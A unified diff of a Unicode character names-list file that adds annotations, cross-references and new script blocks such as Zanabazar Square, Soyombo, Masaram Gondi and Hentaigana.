+	% RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE VERTICAL STROKE
 2B7D	DOWNWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
 	= page down
 @		Keyboard symbols
@@ -18172,11 +18216,16 @@
 2BC1	BLACK DIAMOND CENTRED
 2BC2	TURNED BLACK PENTAGON
 2BC3	HORIZONTAL BLACK OCTAGON
+	x (octagonal sign - 1F6D1)
 2BC4	BLACK OCTAGON
 2BC5	BLACK MEDIUM UP-POINTING TRIANGLE CENTRED
+	x (black up-pointing triangle - 25B2)
 2BC6	BLACK MEDIUM DOWN-POINTING TRIANGLE CENTRED
+	x (black down-pointing triangle - 25BC)
 2BC7	BLACK MEDIUM LEFT-POINTING TRIANGLE CENTRED
+	x (black left-pointing triangle - 25C0)
 2BC8	BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
+	x (black right-pointing triangle - 25B6)
 @		Half circles
 2BCA	TOP HALF BLACK CIRCLE
 2BCB	BOTTOM HALF BLACK CIRCLE
@@ -18195,6 +18244,10 @@
 	= query
 	x (apl functional symbol quad question - 2370)
 	x (replacement character - FFFD)
+2BD2	GROUP MARK
+	* formerly used as a separator character for I/O operations
+	x (double dagger - 2021)
+	x (thermodynamic - 29E7)
 @		Two-headed arrow symbols
 @+		The following four arrow symbols are the preferred representation for fast cursor direction for ISO 9995-7.
 2BEC	LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
@@ -18206,7 +18259,6 @@
 	= fast cursor right
 2BEF	DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
 	= fast cursor down
-@~	!
 @@	2C00	Glagolitic	2C5F
 @		Capital letters
 2C00	GLAGOLITIC CAPITAL LETTER AZU
@@ -18924,6 +18976,14 @@
 2E43	DASH WITH LEFT UPTURN
 @		Miscellaneous punctuation
 2E44	DOUBLE SUSPENSION MARK
+@		Typicon punctuation
+2E45	INVERTED LOW KAVYKA
+2E46	INVERTED LOW KAVYKA WITH KAVYKA ABOVE
+	x (modifier breve with inverted breve - AB5B)
+2E47	LOW KAVYKA
+	x (cyrillic kavyka - A67E)
+2E48	LOW KAVYKA WITH DOT
+2E49	DOUBLE STACKED COMMA
 @@	2E80	CJK Radicals Supplement	2EFF
 @		CJK radicals supplement
 2E80	CJK RADICAL REPEAT
@@ -19749,19 +19809,20 @@
 	= single dot Bangjeom
 302F	HANGUL DOUBLE DOT TONE MARK
 	= double dot Bangjeom
-@		Other CJK symbols
+@		Other CJK punctuation
 3030	WAVY DASH
 	x (wavy line - 2307)
 	x (wave dash - 301C)
-	~ 3030 FE0E text style
-	~ 3030 FE0F emoji style
+@		Kana repeat marks
+ at +		These characters are only used in vertical writing of Japanese.
 3031	VERTICAL KANA REPEAT MARK
 3032	VERTICAL KANA REPEAT WITH VOICED SOUND MARK
-	* the preceding two semantic characters are preferred to the following three glyphic forms
+	* implemented as glyphs that are two-em tall
 3033	VERTICAL KANA REPEAT MARK UPPER HALF
 3034	VERTICAL KANA REPEAT WITH VOICED SOUND MARK UPPER HALF
-	* the preceding two are glyphs used in conjunction with the following glyph
+	* implemented as glyphs that are one-em tall and that combine with the following character to form ligated two-em glyphs for the complete repeat marks
 3035	VERTICAL KANA REPEAT MARK LOWER HALF
+@		Other CJK symbols
 3036	CIRCLED POSTAL MARK
 	# 3012 postal mark
 3037	IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL
@@ -19779,8 +19840,6 @@
 	x (squared rising diagonal slash - 29C4)
 303D	PART ALTERNATION MARK
 	* marks the start of a song part in Japanese
-	~ 303D FE0E text style
-	~ 303D FE0F emoji style
 @		Special CJK indicators
 @+		These are visibly displayed graphic characters, not invisible format control characters.
 303E	IDEOGRAPHIC VARIATION INDICATOR
@@ -19787,7 +19846,6 @@
 	* visual indicator that the following ideograph is to be taken as a variant of the intended character
 303F	IDEOGRAPHIC HALF FILL SPACE
 	* visual indicator of a screen space for half of an ideograph
-@~	!
 @@	3040	Hiragana	309F
 @		Hiragana letters
 3041	HIRAGANA LETTER SMALL A
@@ -20118,9 +20176,11 @@
 312A	BOPOMOFO LETTER V
 312B	BOPOMOFO LETTER NG
 312C	BOPOMOFO LETTER GN
-@		Miscellaneous addition
+@		Miscellaneous additions
 312D	BOPOMOFO LETTER IH
 	* for analytic representation of apical vowel
+312E	BOPOMOFO LETTER O WITH DOT ABOVE
+	* early form of letter e
 @@	3130	Hangul Compatibility Jamo	318F
 @		Consonant letters
 3131	HANGUL LETTER KIYEOK
@@ -20837,14 +20897,10 @@
 3296	CIRCLED IDEOGRAPH FINANCIAL
 	# <circle> 8CA1
 3297	CIRCLED IDEOGRAPH CONGRATULATION
-	~ 3297 FE0E text style
-	~ 3297 FE0F emoji style
 	# <circle> 795D
 3298	CIRCLED IDEOGRAPH LABOR
 	# <circle> 52B4
 3299	CIRCLED IDEOGRAPH SECRET
-	~ 3299 FE0E text style
-	~ 3299 FE0F emoji style
 	# <circle> 79D8
 329A	CIRCLED IDEOGRAPH MALE
 	# <circle> 7537
@@ -21054,7 +21110,6 @@
 	# <circle> 30F1
 32FE	CIRCLED KATAKANA WO
 	# <circle> 30F2
-@~	!
 @@	3300	CJK Compatibility	33FF
 @		Squared Katakana words
 3300	SQUARE APAATO
@@ -21190,7 +21245,8 @@
 	* percent
 	# <square> 30D1 30FC 30BB 30F3 30C8
 332C	SQUARE PAATU
-	* parts
+	* a mistaken, unused representation originally intended for the Thai baht currency sign
+	x (thai currency symbol baht - 0E3F)
 	# <square> 30D1 30FC 30C4
 332D	SQUARE BAARERU
 	* barrel
@@ -21737,7 +21793,7 @@
 4DFD	HEXAGRAM FOR SMALL PREPONDERANCE
 4DFE	HEXAGRAM FOR AFTER COMPLETION
 4DFF	HEXAGRAM FOR BEFORE COMPLETION
-@@	4E00	CJK Unified Ideographs	9FD5
+@@	4E00	CJK Unified Ideographs	9FEA
 @@	A000	Yi Syllables	A48F
 @@+
 @		Syllables
@@ -23461,6 +23517,8 @@
 A67C	COMBINING CYRILLIC KAVYKA
 	* indicates an alternative reading to part of a word
 	x (combining breve - 0306)
+	x (combining kavyka above right - 1DF6)
+	x (combining kavyka above left - 1DF7)
 A67D	COMBINING CYRILLIC PAYEROK
 	* may indicate an omitted yer
 	x (combining vertical tilde - 033E)
@@ -23467,6 +23525,7 @@
 @		Punctuation mark
 A67E	CYRILLIC KAVYKA
 	* used to mark off word that has alternative reading
+	x (low kavyka - 2E47)
 @		Modifier letter
 A67F	CYRILLIC PAYEROK
 	* may indicate an omitted yer
@@ -24301,6 +24360,8 @@
 A8FC	DEVANAGARI SIGN SIDDHAM
 	= siddhirastu
 	* used at the beginning of texts as an invocation
+	x (tibetan mark initial yig mgo mdun ma - 0F04)
+	x (mongolian birga - 1800)
 	x (sharada sign siddham - 111DB)
 A8FD	DEVANAGARI JAIN OM
 @@	A900	Kayah Li	A92F
@@ -24985,6 +25046,7 @@
 	x (breve - 02D8)
 	x (close up - 2050)
 	x (metrical breve - 23D1)
+	x (inverted low kavyka with kavyka above - 2E46)
 AB5C	MODIFIER LETTER SMALL HENG
 	# <super> A727
 AB5D	MODIFIER LETTER SMALL L WITH INVERTED LAZY S
@@ -25383,6 +25445,9 @@
 F92B	CJK COMPATIBILITY IDEOGRAPH-F92B
 	: 72FC
 F92C	CJK COMPATIBILITY IDEOGRAPH-F92C
+	* a mapping change removed the original K0 source
+	x (cjk unified ideograph-90DE - 90DE)
+	x (cjk compatibility ideograph-FA2E - FA2E)
 	: 90CE
 F92D	CJK COMPATIBILITY IDEOGRAPH-F92D
 	: 4F86
@@ -25663,7 +25728,9 @@
 F9B7	CJK COMPATIBILITY IDEOGRAPH-F9B7
 	: 91B4
 F9B8	CJK COMPATIBILITY IDEOGRAPH-F9B8
+	* a mapping change removed the original K0 source
 	x (cjk unified ideograph-96B7 - 96B7)
+	x (cjk compatibility ideograph-FA2F - FA2F)
 	: 96B8
 F9B9	CJK COMPATIBILITY IDEOGRAPH-F9B9
 	: 60E1
@@ -27637,7 +27704,7 @@
 FDFD	ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
 @@	FE00	Variation Selectors	FE0F
 @		Variation selectors
- at +		Combining characters; in conjunction with the preceding character these indicate a predetermined choice of variant glyph
+ at +		These are combining characters; in conjunction with the preceding character they indicate a predetermined choice of variant glyph.
 FE00	VARIATION SELECTOR-1
 	* these are abbreviated VS1, and so on
 FE01	VARIATION SELECTOR-2
@@ -27653,8 +27720,12 @@
 FE0B	VARIATION SELECTOR-12
 FE0C	VARIATION SELECTOR-13
 FE0D	VARIATION SELECTOR-14
+@		Emoji-specific variation selectors
+ at +		For documentation about use of these with emoji, see UTS #51, Unicode Emoji.
 FE0E	VARIATION SELECTOR-15
+	= text variation selector
 FE0F	VARIATION SELECTOR-16
+	= emoji variation selector
 @@	FE10	Vertical Forms	FE1F
 @+		These characters are compatibility characters needed to map to GB 18030.
 @		Glyphs for vertical variants
@@ -29280,6 +29351,10 @@
 10321	OLD ITALIC NUMERAL FIVE
 10322	OLD ITALIC NUMERAL TEN
 10323	OLD ITALIC NUMERAL FIFTY
+@		North Italic letters
+1032D	OLD ITALIC LETTER YE
+1032E	OLD ITALIC LETTER NORTHERN TSE
+1032F	OLD ITALIC LETTER SOUTHERN TSE
 @@	10330	Gothic	1034F
 @		Letters
 10330	GOTHIC LETTER AHSA
@@ -29529,7 +29604,8 @@
 1044E	DESERET SMALL LETTER OI
 1044F	DESERET SMALL LETTER EW
 @@	10450	Shavian	1047F
-@		Consonants
+@		Tall and deep letters (consonants)
+ at +		Shavian tall letters mostly represent voiceless obstruents, whereas the deep letters represent the voiced counterparts.
 10450	SHAVIAN LETTER PEEP
 10451	SHAVIAN LETTER TOT
 10452	SHAVIAN LETTER KICK
@@ -29539,7 +29615,9 @@
 10456	SHAVIAN LETTER SURE
 10457	SHAVIAN LETTER CHURCH
 10458	SHAVIAN LETTER YEA
+	* voiced palatal approximant
 10459	SHAVIAN LETTER HUNG
+	* voiced velar nasal
 1045A	SHAVIAN LETTER BIB
 1045B	SHAVIAN LETTER DEAD
 1045C	SHAVIAN LETTER GAG
@@ -29549,10 +29627,13 @@
 10460	SHAVIAN LETTER MEASURE
 10461	SHAVIAN LETTER JUDGE
 10462	SHAVIAN LETTER WOE
+	* voiced labiovelar approximant
 10463	SHAVIAN LETTER HA-HA
+	* voiceless glottal fricative
+@		Short letters
+ at +		Shavian short letters mostly represent vowels, but also include some nasals and liquids.
 10464	SHAVIAN LETTER LOLL
 10465	SHAVIAN LETTER MIME
-@		Vowels
 10466	SHAVIAN LETTER IF
 10467	SHAVIAN LETTER EGG
 10468	SHAVIAN LETTER ASH
@@ -29571,6 +29652,8 @@
 10475	SHAVIAN LETTER OOZE
 10476	SHAVIAN LETTER OIL
 10477	SHAVIAN LETTER AWE
+@		Ligatures
+ at +		Shavian ligatures represent r-colored vowels or diphthongs.
 10478	SHAVIAN LETTER ARE
 10479	SHAVIAN LETTER OR
 1047A	SHAVIAN LETTER AIR
@@ -30602,10 +30685,10 @@
 1091B	PHOENICIAN NUMBER THREE
 @		Punctuation
 1091F	PHOENICIAN WORD SEPARATOR
+	* sometimes shown with a glyph for a short vertical bar
 	x (full stop - 002E)
 	x (middle dot - 00B7)
 	x (word separator middle dot - 2E31)
-	* sometimes shown with a glyph for a short vertical bar
 @@	10920	Lydian	1093F
 @		Letters
 10920	LYDIAN LETTER A
@@ -32000,6 +32083,7 @@
 	x (myanmar sign virama - 1039)
 11134	CHAKMA MAAYYAA
 	* killer
+	* also used distinctly as a gemination mark which can occur with vowels
 	x (myanmar sign asat - 103A)
 @		Digits
 11136	CHAKMA DIGIT ZERO
@@ -33193,6 +33277,232 @@
 118F2	WARANG CITI NUMBER NINETY
 @		Sign
 118FF	WARANG CITI OM
+@@	11A00	Zanabazar Square	11A4F
+ at +		The common Mongolian name for the script is Zanabazarin Dörböljin Useg. It is also known as Xewtee Dörböljin Bicig or in English as the Horizontal Square Script.
+@		Vowel letter
+11A00	ZANABAZAR SQUARE LETTER A
+	* used for representing independent vowels in combination with vowel signs
+@		Vowel signs
+11A01	ZANABAZAR SQUARE VOWEL SIGN I
+11A02	ZANABAZAR SQUARE VOWEL SIGN UE
+11A03	ZANABAZAR SQUARE VOWEL SIGN U
+11A04	ZANABAZAR SQUARE VOWEL SIGN E
+11A05	ZANABAZAR SQUARE VOWEL SIGN OE
+11A06	ZANABAZAR SQUARE VOWEL SIGN O
+11A07	ZANABAZAR SQUARE VOWEL SIGN AI
+	* also represents secondary vowel i
+11A08	ZANABAZAR SQUARE VOWEL SIGN AU
+	* also represents secondary vowel u
+11A09	ZANABAZAR SQUARE VOWEL SIGN REVERSED I
+	* used for Sanskrit vocalic sounds
+@		Vowel length mark
+11A0A	ZANABAZAR SQUARE VOWEL LENGTH MARK
+@		Consonants
+11A0B	ZANABAZAR SQUARE LETTER KA
+11A0C	ZANABAZAR SQUARE LETTER KHA
+11A0D	ZANABAZAR SQUARE LETTER GA
+11A0E	ZANABAZAR SQUARE LETTER GHA
+11A0F	ZANABAZAR SQUARE LETTER NGA
+11A10	ZANABAZAR SQUARE LETTER CA
+11A11	ZANABAZAR SQUARE LETTER CHA
+11A12	ZANABAZAR SQUARE LETTER JA
+11A13	ZANABAZAR SQUARE LETTER NYA
+11A14	ZANABAZAR SQUARE LETTER TTA
+11A15	ZANABAZAR SQUARE LETTER TTHA
+11A16	ZANABAZAR SQUARE LETTER DDA
+11A17	ZANABAZAR SQUARE LETTER DDHA
+11A18	ZANABAZAR SQUARE LETTER NNA
+11A19	ZANABAZAR SQUARE LETTER TA
+11A1A	ZANABAZAR SQUARE LETTER THA
+11A1B	ZANABAZAR SQUARE LETTER DA
+11A1C	ZANABAZAR SQUARE LETTER DHA
+11A1D	ZANABAZAR SQUARE LETTER NA
+11A1E	ZANABAZAR SQUARE LETTER PA
+11A1F	ZANABAZAR SQUARE LETTER PHA
+11A20	ZANABAZAR SQUARE LETTER BA
+	* also used instead of non-initial 11A2D in conjuncts
+11A21	ZANABAZAR SQUARE LETTER BHA
+11A22	ZANABAZAR SQUARE LETTER MA
+11A23	ZANABAZAR SQUARE LETTER TSA
+11A24	ZANABAZAR SQUARE LETTER TSHA
+11A25	ZANABAZAR SQUARE LETTER DZA
+11A26	ZANABAZAR SQUARE LETTER DZHA
+11A27	ZANABAZAR SQUARE LETTER ZHA
+11A28	ZANABAZAR SQUARE LETTER ZA
+11A29	ZANABAZAR SQUARE LETTER -A
+	* Mongolian aang
+	* Tibetan a-chung
+	x (tibetan letter -a - 0F60)
+11A2A	ZANABAZAR SQUARE LETTER YA
+11A2B	ZANABAZAR SQUARE LETTER RA
+11A2C	ZANABAZAR SQUARE LETTER LA
+11A2D	ZANABAZAR SQUARE LETTER VA
+11A2E	ZANABAZAR SQUARE LETTER SHA
+11A2F	ZANABAZAR SQUARE LETTER SSA
+11A30	ZANABAZAR SQUARE LETTER SA
+11A31	ZANABAZAR SQUARE LETTER HA
+11A32	ZANABAZAR SQUARE LETTER KSSA
+@		Final consonant mark
+11A33	ZANABAZAR SQUARE FINAL CONSONANT MARK
+	* used for marking a syllable-final consonant in Mongolian
+	* indicates a syllabic boundary in Mongolian
+@		Virama
+11A34	ZANABAZAR SQUARE SIGN VIRAMA
+	* indicates a bare consonant in Sanskrit and Tibetan
+	* not used for conjunct formation
+	x (tibetan mark halanta - 0F84)
+@		Candrabindu and candra ornaments
+11A35	ZANABAZAR SQUARE SIGN CANDRABINDU
+	* indicates nasalization
+	x (tibetan sign sna ldan - 0F83)
+	x (mongolian letter ali gali anusvara one - 1880)
+11A36	ZANABAZAR SQUARE SIGN CANDRABINDU WITH ORNAMENT
+	* used primarily with 11A3F
+11A37	ZANABAZAR SQUARE SIGN CANDRA WITH ORNAMENT
+	* used primarily with 11A3F
+	x (tibetan sign nyi zla naa da - 0F82)
+@		Signs for Sanskrit
+11A38	ZANABAZAR SQUARE SIGN ANUSVARA
+	* indicates nasalization
+	x (tibetan sign rjes su nga ro - 0F7E)
+11A39	ZANABAZAR SQUARE SIGN VISARGA
+	* indicates post-vocalic aspiration
+	x (tibetan sign rnam bcad - 0F7F)
+@		Cluster-initial consonant
+11A3A	ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+	* initial form of 11A2B in Tibetan conjuncts
+@		Cluster-final consonants
+11A3B	ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA
+	* final form of 11A2A in Tibetan conjuncts
+11A3C	ZANABAZAR SQUARE CLUSTER-FINAL LETTER RA
+	* final form of 11A2B in Tibetan conjuncts
+11A3D	ZANABAZAR SQUARE CLUSTER-FINAL LETTER LA
+	* final form of 11A2C in Tibetan conjuncts
+11A3E	ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+	* final form of 11A2D in Tibetan conjuncts
+@		Head marks
+11A3F	ZANABAZAR SQUARE INITIAL HEAD MARK
+	x (tibetan mark initial brda rnying yig mgo mdun ma - 0FD3)
+	x (mongolian birga - 1800)
+11A40	ZANABAZAR SQUARE CLOSING HEAD MARK
+	x (tibetan mark closing brda rnying yig mgo sgab ma - 0FD4)
+@		Punctuation
+11A41	ZANABAZAR SQUARE MARK TSHEG
+	x (tibetan mark intersyllabic tsheg - 0F0B)
+11A42	ZANABAZAR SQUARE MARK SHAD
+	x (tibetan mark shad - 0F0D)
+11A43	ZANABAZAR SQUARE MARK DOUBLE SHAD
+	x (tibetan mark nyis shad - 0F0E)
+11A44	ZANABAZAR SQUARE MARK LONG TSHEG
+	x (tibetan mark gter tsheg - 0F14)
+@		Head marks
+11A45	ZANABAZAR SQUARE INITIAL DOUBLE-LINED HEAD MARK
+	x (tibetan mark initial yig mgo mdun ma - 0F04)
+11A46	ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+	x (tibetan mark closing yig mgo sgab ma - 0F05)
+@		Subjoiner
+11A47	ZANABAZAR SQUARE SUBJOINER
+	* used for producing consonant conjuncts
+@@	11A50	Soyombo	11AAF
+@		Vowel letter
+11A50	SOYOMBO LETTER A
+	* used for representing independent vowels in combination with vowel signs
+@		Vowel signs
+11A51	SOYOMBO VOWEL SIGN I
+11A52	SOYOMBO VOWEL SIGN UE
+11A53	SOYOMBO VOWEL SIGN U
+11A54	SOYOMBO VOWEL SIGN E
+11A55	SOYOMBO VOWEL SIGN O
+11A56	SOYOMBO VOWEL SIGN OE
+11A57	SOYOMBO VOWEL SIGN AI
+11A58	SOYOMBO VOWEL SIGN AU
+11A59	SOYOMBO VOWEL SIGN VOCALIC R
+11A5A	SOYOMBO VOWEL SIGN VOCALIC L
+@		Vowel length mark
+11A5B	SOYOMBO VOWEL LENGTH MARK
+@		Consonants
+11A5C	SOYOMBO LETTER KA
+11A5D	SOYOMBO LETTER KHA
+11A5E	SOYOMBO LETTER GA
+11A5F	SOYOMBO LETTER GHA
+11A60	SOYOMBO LETTER NGA
+11A61	SOYOMBO LETTER CA
+11A62	SOYOMBO LETTER CHA
+11A63	SOYOMBO LETTER JA
+11A64	SOYOMBO LETTER JHA
+11A65	SOYOMBO LETTER NYA
+11A66	SOYOMBO LETTER TTA
+11A67	SOYOMBO LETTER TTHA
+11A68	SOYOMBO LETTER DDA
+11A69	SOYOMBO LETTER DDHA
+11A6A	SOYOMBO LETTER NNA
+11A6B	SOYOMBO LETTER TA
+11A6C	SOYOMBO LETTER THA
+11A6D	SOYOMBO LETTER DA
+11A6E	SOYOMBO LETTER DHA
+11A6F	SOYOMBO LETTER NA
+11A70	SOYOMBO LETTER PA
+11A71	SOYOMBO LETTER PHA
+11A72	SOYOMBO LETTER BA
+11A73	SOYOMBO LETTER BHA
+11A74	SOYOMBO LETTER MA
+11A75	SOYOMBO LETTER TSA
+11A76	SOYOMBO LETTER TSHA
+11A77	SOYOMBO LETTER DZA
+11A78	SOYOMBO LETTER ZHA
+11A79	SOYOMBO LETTER ZA
+11A7A	SOYOMBO LETTER -A
+11A7B	SOYOMBO LETTER YA
+11A7C	SOYOMBO LETTER RA
+11A7D	SOYOMBO LETTER LA
+11A7E	SOYOMBO LETTER VA
+11A7F	SOYOMBO LETTER SHA
+11A80	SOYOMBO LETTER SSA
+11A81	SOYOMBO LETTER SA
+11A82	SOYOMBO LETTER HA
+11A83	SOYOMBO LETTER KSSA
+@		Cluster-initial letters
+11A86	SOYOMBO CLUSTER-INITIAL LETTER RA
+11A87	SOYOMBO CLUSTER-INITIAL LETTER LA
+11A88	SOYOMBO CLUSTER-INITIAL LETTER SHA
+11A89	SOYOMBO CLUSTER-INITIAL LETTER SA
+@		Final consonant signs
+11A8A	SOYOMBO FINAL CONSONANT SIGN G
+11A8B	SOYOMBO FINAL CONSONANT SIGN K
+11A8C	SOYOMBO FINAL CONSONANT SIGN NG
+11A8D	SOYOMBO FINAL CONSONANT SIGN D
+11A8E	SOYOMBO FINAL CONSONANT SIGN N
+11A8F	SOYOMBO FINAL CONSONANT SIGN B
+11A90	SOYOMBO FINAL CONSONANT SIGN M
+11A91	SOYOMBO FINAL CONSONANT SIGN R
+11A92	SOYOMBO FINAL CONSONANT SIGN L
+11A93	SOYOMBO FINAL CONSONANT SIGN SH
+11A94	SOYOMBO FINAL CONSONANT SIGN S
+11A95	SOYOMBO FINAL CONSONANT SIGN -A
+	* Mongolian aang
+	* Tibetan a-chung
+	x (tibetan letter -a - 0F60)
+@		Various signs
+11A96	SOYOMBO SIGN ANUSVARA
+11A97	SOYOMBO SIGN VISARGA
+@		Gemination mark
+11A98	SOYOMBO GEMINATION MARK
+@		Subjoiner
+11A99	SOYOMBO SUBJOINER
+	* used for producing consonant conjuncts
+@		Punctuation
+11A9A	SOYOMBO MARK TSHEG
+11A9B	SOYOMBO MARK SHAD
+11A9C	SOYOMBO MARK DOUBLE SHAD
+@		Head marks
+11A9E	SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME
+	* national symbol of Mongolia
+11A9F	SOYOMBO HEAD MARK WITH MOON AND SUN AND FLAME
+11AA0	SOYOMBO HEAD MARK WITH MOON AND SUN
+@		Terminal marks
+11AA1	SOYOMBO TERMINAL MARK-1
+11AA2	SOYOMBO TERMINAL MARK-2
+	= cintamani, candamani
 @@	11AC0	Pau Cin Hau	11AFF
 @		Consonants
 11AC0	PAU CIN HAU LETTER PA
@@ -33436,6 +33746,95 @@
 @		Various signs
 11CB5	MARCHEN SIGN ANUSVARA
 11CB6	MARCHEN SIGN CANDRABINDU
+@@	11D00	Masaram Gondi	11D5F
+@		Vowels
+11D00	MASARAM GONDI LETTER A
+11D01	MASARAM GONDI LETTER AA
+11D02	MASARAM GONDI LETTER I
+11D03	MASARAM GONDI LETTER II
+11D04	MASARAM GONDI LETTER U
+11D05	MASARAM GONDI LETTER UU
+11D06	MASARAM GONDI LETTER E
+11D08	MASARAM GONDI LETTER AI
+11D09	MASARAM GONDI LETTER O
+11D0B	MASARAM GONDI LETTER AU
+@		Consonants
+11D0C	MASARAM GONDI LETTER KA
+11D0D	MASARAM GONDI LETTER KHA
+11D0E	MASARAM GONDI LETTER GA
+11D0F	MASARAM GONDI LETTER GHA
+11D10	MASARAM GONDI LETTER NGA
+11D11	MASARAM GONDI LETTER CA
+11D12	MASARAM GONDI LETTER CHA
+11D13	MASARAM GONDI LETTER JA
+11D14	MASARAM GONDI LETTER JHA
+11D15	MASARAM GONDI LETTER NYA
+11D16	MASARAM GONDI LETTER TTA
+11D17	MASARAM GONDI LETTER TTHA
+11D18	MASARAM GONDI LETTER DDA
+11D19	MASARAM GONDI LETTER DDHA
+11D1A	MASARAM GONDI LETTER NNA
+11D1B	MASARAM GONDI LETTER TA
+11D1C	MASARAM GONDI LETTER THA
+11D1D	MASARAM GONDI LETTER DA
+11D1E	MASARAM GONDI LETTER DHA
+11D1F	MASARAM GONDI LETTER NA
+11D20	MASARAM GONDI LETTER PA
+11D21	MASARAM GONDI LETTER PHA
+11D22	MASARAM GONDI LETTER BA
+11D23	MASARAM GONDI LETTER BHA
+11D24	MASARAM GONDI LETTER MA
+11D25	MASARAM GONDI LETTER YA
+11D26	MASARAM GONDI LETTER RA
+11D27	MASARAM GONDI LETTER LA
+11D28	MASARAM GONDI LETTER VA
+11D29	MASARAM GONDI LETTER SHA
+11D2A	MASARAM GONDI LETTER SSA
+11D2B	MASARAM GONDI LETTER SA
+11D2C	MASARAM GONDI LETTER HA
+11D2D	MASARAM GONDI LETTER LLA
+@		Conjunct letters
+11D2E	MASARAM GONDI LETTER KSSA
+11D2F	MASARAM GONDI LETTER JNYA
+11D30	MASARAM GONDI LETTER TRA
+@		Dependent vowel signs
+11D31	MASARAM GONDI VOWEL SIGN AA
+11D32	MASARAM GONDI VOWEL SIGN I
+11D33	MASARAM GONDI VOWEL SIGN II
+11D34	MASARAM GONDI VOWEL SIGN U
+11D35	MASARAM GONDI VOWEL SIGN UU
+11D36	MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A	MASARAM GONDI VOWEL SIGN E
+11D3C	MASARAM GONDI VOWEL SIGN AI
+11D3D	MASARAM GONDI VOWEL SIGN O
+11D3F	MASARAM GONDI VOWEL SIGN AU
+@		Various signs
+11D40	MASARAM GONDI SIGN ANUSVARA
+11D41	MASARAM GONDI SIGN VISARGA
+11D42	MASARAM GONDI SIGN NUKTA
+11D43	MASARAM GONDI SIGN CANDRA
+	* used for transcribing foreign vowels
+11D44	MASARAM GONDI SIGN HALANTA
+	* used for silencing the inherent vowel
+@		Virama
+11D45	MASARAM GONDI VIRAMA
+	* used for producing conjuncts
+@		Cluster-specific consonant forms
+11D46	MASARAM GONDI REPHA
+	* cluster-initial form of 11D26
+11D47	MASARAM GONDI RA-KARA
+	* cluster-final form of 11D26
+@		Digits
+11D50	MASARAM GONDI DIGIT ZERO
+11D51	MASARAM GONDI DIGIT ONE
+11D52	MASARAM GONDI DIGIT TWO
+11D53	MASARAM GONDI DIGIT THREE
+11D54	MASARAM GONDI DIGIT FOUR
+11D55	MASARAM GONDI DIGIT FIVE
+11D56	MASARAM GONDI DIGIT SIX
+11D57	MASARAM GONDI DIGIT SEVEN
+11D58	MASARAM GONDI DIGIT EIGHT
+11D59	MASARAM GONDI DIGIT NINE
 @@	12000	Cuneiform	123FF
 @		Signs
 12000	CUNEIFORM SIGN A
@@ -38079,6 +38478,8 @@
 @		Tangut mark
 16FE0	TANGUT ITERATION MARK
 	x (ideographic iteration mark - 3005)
+@		Nushu mark
+16FE1	NUSHU ITERATION MARK
 @@	17000	Tangut	187EC
 @@	18800	Tangut Components	18AFF
 @+		This is a superset of components used in various Tangut sources. Indexes of components (001..755) used for Tangut ideographs are shown in the Tangut block.
@@ -38849,13 +39250,1030 @@
 18AEF	TANGUT COMPONENT-752
 18AF0	TANGUT COMPONENT-753
 18AF1	TANGUT COMPONENT-754
-@		Sixteen-stroke components
+@		Sixteen-stroke component
 18AF2	TANGUT COMPONENT-755
 @@	1B000	Kana Supplement	1B0FF
 @		Historic Katakana
 1B000	KATAKANA LETTER ARCHAIC E
-@		Historic Hiragana
+@		Historic Hiragana and Hentaigana
 1B001	HIRAGANA LETTER ARCHAIC YE
+	% HENTAIGANA LETTER E-1
+	* derived from 6C5F
+@		Hentaigana
+1B002	HENTAIGANA LETTER A-1
+	* derived from 5B89
+1B003	HENTAIGANA LETTER A-2
+	* derived from 611B
+1B004	HENTAIGANA LETTER A-3
+	* derived from 963F
+1B005	HENTAIGANA LETTER A-WO
+	* derived from 60E1
+1B006	HENTAIGANA LETTER I-1
+	* derived from 4EE5
+1B007	HENTAIGANA LETTER I-2
+	* derived from 4F0A
+1B008	HENTAIGANA LETTER I-3
+	* derived from 610F
+1B009	HENTAIGANA LETTER I-4
+	* derived from 79FB
+1B00A	HENTAIGANA LETTER U-1
+	* derived from 5B87
+1B00B	HENTAIGANA LETTER U-2
+	* derived from 5B87
+1B00C	HENTAIGANA LETTER U-3
+	* derived from 6182
+1B00D	HENTAIGANA LETTER U-4
+	* derived from 6709
+1B00E	HENTAIGANA LETTER U-5
+	* derived from 96F2
+1B00F	HENTAIGANA LETTER E-2
+	* derived from 76C8
+1B010	HENTAIGANA LETTER E-3
+	* derived from 7E01
+1B011	HENTAIGANA LETTER E-4
+	* derived from 8863
+1B012	HENTAIGANA LETTER E-5
+	* derived from 8863
+1B013	HENTAIGANA LETTER E-6
+	* derived from 8981
+1B014	HENTAIGANA LETTER O-1
+	* derived from 65BC
+1B015	HENTAIGANA LETTER O-2
+	* derived from 65BC
+1B016	HENTAIGANA LETTER O-3
+	* derived from 96B1
+1B017	HENTAIGANA LETTER KA-1
+	* derived from 4F73
+1B018	HENTAIGANA LETTER KA-2
+	* derived from 52A0
+1B019	HENTAIGANA LETTER KA-3
+	* derived from 53EF
+1B01A	HENTAIGANA LETTER KA-4
+	* derived from 53EF
+1B01B	HENTAIGANA LETTER KA-5
+	* derived from 5609
+1B01C	HENTAIGANA LETTER KA-6
+	* derived from 6211
+1B01D	HENTAIGANA LETTER KA-7
+	* derived from 6B5F
+1B01E	HENTAIGANA LETTER KA-8
+	* derived from 8CC0
+1B01F	HENTAIGANA LETTER KA-9
+	* derived from 9591
+1B020	HENTAIGANA LETTER KA-10
+	* derived from 9999
+1B021	HENTAIGANA LETTER KA-11
+	* derived from 99D5
+1B022	HENTAIGANA LETTER KA-KE
+	* derived from 5BB6
+1B023	HENTAIGANA LETTER KI-1
+	* derived from 559C
+1B024	HENTAIGANA LETTER KI-2
+	* derived from 5E7E
+1B025	HENTAIGANA LETTER KI-3
+	* derived from 5E7E
+1B026	HENTAIGANA LETTER KI-4
+	* derived from 652F
+1B027	HENTAIGANA LETTER KI-5
+	* derived from 6728
